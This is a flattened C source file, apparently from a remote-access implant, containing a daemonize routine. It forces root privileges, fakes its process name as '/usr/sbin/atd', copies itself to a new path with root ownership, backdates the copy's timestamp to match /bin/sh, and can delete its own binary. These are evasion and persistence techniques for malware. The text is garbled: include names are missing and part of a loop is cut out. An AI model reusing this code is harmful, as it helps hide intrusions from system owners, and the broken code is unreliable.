#define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #ifdef Linux #include #include #include "memfd.h" #include "tmplibrary.h" #endif #ifndef DEFAULT_MTIME_FROM #define DEFAULT_MTIME_FROM "/bin/sh" #endif #ifndef DEFAULT_ARGV0 #define DEFAULT_ARGV0 "/usr/sbin/atd" #endif #ifdef USE_ENV_ARGS #ifndef DEFAULT_ENV_SA0 #define DEFAULT_ENV_SA0 "__SA0" #endif #ifndef DEFAULT_ENV_SCWD #define DEFAULT_ENV_SCWD "__SCWD" #endif #ifndef DEFAULT_ENV_CLEANUP #define DEFAULT_ENV_CLEANUP "__CLEANUP" #endif #ifndef DEFAULT_ENV_MOVE #define DEFAULT_ENV_MOVE "__MOVE" #endif #endif #ifndef DEFAULT_SAFE_PATH #define DEFAULT_SAFE_PATH "/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin" #endif #ifndef __O_CLOEXEC # define __O_CLOEXEC 02000000 #endif #ifndef O_CLOEXEC # define O_CLOEXEC __O_CLOEXEC #endif #include "daemonize.h" pid_t daemonize(int *main_argc, char ***main_argv, char *env[], bool exit_parent) { pid_t pid; int pipes[2]; char *set_argv0 = NULL; int argc = *main_argc; char **argv = *main_argv; #ifdef Linux setresuid(0, 0, 0); #else setuid(0); #endif bool triple_fork = true; /* If we are launched directly from the init - don't do the triple fork dance. This is important in case we are launched from upstart */ if (getppid() == 1 || getenv("INVOCATION_ID") != NULL) triple_fork = false; /* Cleanup environment and reexec */ char self[PATH_MAX] = {}; char *fd_str = getenv("_"); int fdenv = -1; if (fd_str) { char *end = NULL; errno = 0; fdenv = strtol(fd_str, &end, 10); if ((end == fd_str) || errno) { fdenv = -1; } } if (triple_fork && exit_parent && fdenv < 0 && readlink("/proc/self/exe", self, sizeof(self)-1) != -1) { #ifdef USE_ENV_ARGS set_argv0 = getenv(DEFAULT_ENV_SA0); char *set_cwd = getenv(DEFAULT_ENV_SCWD); char *cleanup = getenv(DEFAULT_ENV_CLEANUP); char *move = getenv(DEFAULT_ENV_MOVE); char *mtime_from = DEFAULT_MTIME_FROM; #else char *set_cwd = NULL; char *move = NULL; char *mtime_from = DEFAULT_MTIME_FROM; bool cleanup = false; char c; while ((c = getopt (argc, argv, "0:t:c:m:C")) != -1) switch (c) { case '0': set_argv0 = optarg; break; case 't': mtime_from = optarg; break; case 'c': set_cwd = optarg; break; case 'm': move = optarg; break; case 'C': cleanup = true; break; }; #endif putenv("_=0"); int fd = -1; #ifdef Linux if (strstr(self, "/memfd")) { snprintf(self, sizeof(self), "/proc/%d/exe", getpid()); } #endif struct stat _stat = {}; stat(mtime_from, &_stat); if (move) { fd = open(self, O_RDONLY); unlink(move); int fd2 = open(move, O_RDWR | O_CREAT, 0700); if (fd2 == -1) { move = NULL; } else { for (;;) { char buffer[4096] = {}; int r = read(fd, buffer, sizeof(buffer)); if (r <= 0) { close(fd); if (r == -1) { unlink(move); move = NULL; } else { unlink(self); fchmod(fd2, 0511); fchown(fd2, 0, 0); if (_stat.st_mtime) { struct utimbuf _times = { .actime = _stat.st_atime, .modtime = _stat.st_mtime, }; utime(move, &_times); } } close(fd2); break; } int w = write(fd2, buffer, r); if (w < 0) { close(fd2); close(fd); unlink(move); move = NULL; break; } } } } fd = open(move? move:self, O_CLOEXEC | O_RDONLY); if (fd == -1) { fd = open(move? move:self, O_RDONLY); } int envpipe[2] = {}; if (fd != -1) { if (cleanup) { unlink(move? move:self); } int fake_argc = 2 + (argc - optind); char **fake_argv = malloc(fake_argc * sizeof(char *)); fake_argv[0] = set_argv0? set_argv0 : DEFAULT_ARGV0; fake_argv[fake_argc] = NULL; for (int i=optind,idx=1; i 0) { int end_of_args_found = 0; for (;;) { unsigned int size = 0; int r = read(fdenv, &size, 4); if (r != 4) { break; } if (size == 0xAAAAAAAA) { end_of_args_found = 1; break; } char envstr[PATH_MAX] = {}; if (size > PATH_MAX-1) { break; } r = read(fdenv, envstr, size); if (!r || r != size) { break; } envstr[size] = '\0'; r = putenv(strdup(envstr)); } if (end_of_args_found) { int new_argc = 0; char **new_argv = 0; int argc_ok = 0; int r = read(fdenv, &new_argc, 4); if (r == 4 && new_argc > 0 && new_argc < 256) { int idx; argc_ok = 1; new_argv = (char **) malloc(sizeof(char *) * (new_argc + 1)); for (idx=0; idx